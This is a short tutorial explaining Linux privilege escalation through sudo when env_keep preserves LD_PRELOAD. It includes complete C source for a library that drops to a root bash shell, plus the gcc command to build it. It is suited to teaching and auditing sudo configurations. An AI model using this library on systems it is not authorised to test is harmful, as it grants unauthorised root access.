The LD_PRELOAD
environment variable can be used to tell the dynamic linker to load specific libraries before any others.
By default, programmes run with sudo
will be executed in a clean, minimal environment which is specified by env_reset
when running sudo -l
. However, env_keep
may be used to inherit some environment variables from the parent process.
If LD_PRELOAD
is specified together with env_keep
, then we can compile our own malicious dynamic library and set LD_PRELOAD
to it. Therefore, when we execute a binary with sudo
, our library will be loaded before any other library and its initialisation function will be invoked with root permissions.
Writing the library is a fairly simple task. All we need to do is write an _init
function in a C file. This procedure will contain the code we want to be executed when the library is loaded.
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init()
{
unsetenv("LD_PRELOAD"); // Unset LD_PRELOAD to avoid an infinite loop
setgid(0); // Set root permissions
setuid(0); // Set root permissions
system("/bin/bash");
}
We begin by unsetting the LD_PRELOAD
variable from the environment. This is to preclude an infinite loop when /bin/bash
is invoked. If our library didn't unset LD_PRELOAD
, then when /bin/bash
is called, our library will again be loaded first and then proceed onto launching /bin/bash
yet again, which will again load our library and so on.
The next two lines set the user and group IDs to those of root
which ensures that the next commands are run with root privileges.
Finally, system
is called in order to spawn a bash shell.
We now need to compile this file as a shared library:
gcc -fPIC -shared -o exploit.so exploit.c -nostartfiles
At last, we can invoke any binary with sudo
and specify the path to our library as LD_PRELOAD
. Note that the path to the library must be specified as an absolute path.